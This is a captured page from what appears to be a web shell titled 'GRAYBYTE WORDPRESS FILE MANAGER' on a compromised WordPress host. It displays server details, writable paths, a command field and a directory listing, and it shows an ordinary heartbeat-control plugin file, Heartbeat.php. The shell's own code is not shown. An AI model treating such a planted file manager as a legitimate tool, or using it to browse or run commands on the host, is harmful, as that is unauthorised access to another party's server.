GRAYBYTE WORDPRESS FILE MANAGER8628

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/heartbeat-control/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/heartbeat-control//Heartbeat.php
<?php
/**
 * Contains the Heartbeat_Control\Heartbeat class.
 *
 * @package Heartbeat_Control
 */

namespace Heartbeat_Control;

/**
 * Primary Hearbeat class.
 */
class Heartbeat {
	/**
	 * The current screen being accessed.
	 *
	 * @var string
	 */
	public $current_screen;

	/**
	 * The current query string being accessed.
	 *
	 * @var string
	 */
	public $current_query_string;

	/**
	 * Stores heartbeat settings across class methods.
	 *
	 * @var array
	 */
	public $settings = array();

	/**
	 * Constructor.
	 */
	public function __construct() {
		$_query_string = filter_input( INPUT_SERVER, 'QUERY_STRING', FILTER_SANITIZE_URL );
		$_request_uri  = filter_input( INPUT_SERVER, 'REQUEST_URI', FILTER_SANITIZE_URL );

		if ( $_query_string && $_request_uri ) {
			$current_url = wp_unslash( $_query_string . '?' . $_request_uri );
		} elseif ( $_query_string ) {
			$current_url = wp_unslash( $_request_uri );
		} else {
			$current_url = admin_url();
		}

		$this->current_screen = wp_parse_url( $current_url );
		if ( '/wp-admin/admin-ajax.php' === $this->current_screen ) {
			return;
		}

		$settings = get_option( 'heartbeat_control_settings' );
		if ( false === $settings ) {
			return;
		}

		$this->settings = $settings;

		add_action( 'admin_enqueue_scripts', array( $this, 'maybe_disable' ), 99 );
		add_action( 'wp_enqueue_scripts', array( $this, 'maybe_disable' ), 99 );
		add_filter( 'heartbeat_settings', array( $this, 'maybe_modify' ), 99, 1 );
	}

	/**
	 * Checks if the current location has a rule.
	 *
	 * @param  array $location Locations that have rules.
	 * @return bool
	 */
	public function check_location( $location ) {
		$location_test = array(
			'rules_dash'   => function() {
				return is_admin();
			},
			'rules_front'  => function() {
				return ! is_admin();
			},
			'rules_editor' => function() {
				return ( '/wp-admin/post.php' === $this->current_screen['path'] );
			},
		);

		if ( isset( $location_test[ $location ] ) ) {
			return $location_test[ $location ]();
		}

		return false;
	}

	/**
	 * Disable the heartbeat, if needed.
	 *
	 * @return void
	 */
	public function maybe_disable() {
		foreach ( $this->settings as $location => $r ) {
			$rule = reset( $r );
			if ( array_key_exists( 'heartbeat_control_behavior', $rule ) && 'disable' === $rule['heartbeat_control_behavior'] ) {
				if ( $this->check_location( $location ) ) {
					wp_deregister_script( 'heartbeat' );
					return;
				}
			}
		}
	}

	/**
	 * Modify the heartbeat, if needed.
	 *
	 * @param  array $settings The settings.
	 * @return array $settings Maybe an updated settings.
	 */
	public function maybe_modify( $settings ) {
		foreach ( $this->settings as $location => $r ) {
			$rule = reset( $r );

			if ( array_key_exists( 'heartbeat_control_behavior', $rule ) && 'modify' === $rule['heartbeat_control_behavior'] ) {
				if ( $this->check_location( $location ) ) {
					$settings['interval'] = intval( $rule['heartbeat_control_frequency'] );

					return $settings;
				}
			}
		}

		return $settings;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 13 2025 10:54:02
inteuuod / inteuuod
0755
assets
--
July 10 2025 04:32:24
inteuuod / inteuuod
0755
vendor
--
July 10 2025 04:32:24
inteuuod / inteuuod
0755
views
--
July 10 2025 04:32:24
inteuuod / inteuuod
0755
.gitignore
0.009 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
.htaccess
0.41 KB
July 10 2025 04:32:24
inteuuod / inteuuod
0644
Heartbeat.php
2.968 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
Imagify_Partner.php
21.127 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
LICENSE
17.604 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
Notices.php
3.526 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
Plugin_Card_Helper.php
16.508 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
SECURITY.md
0.366 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
Settings.php
7.716 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
composer.json
0.73 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
composer.lock
2.741 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
heartbeat-control.php
5.468 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
phpcs.xml
0.957 KB
November 06 2019 19:37:40
inteuuod / inteuuod
0644
phpstan.neon.dist
0.496 KB
August 31 2023 17:23:46
inteuuod / inteuuod
0644
readme.txt
4.644 KB
August 31 2023 17:21:16
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF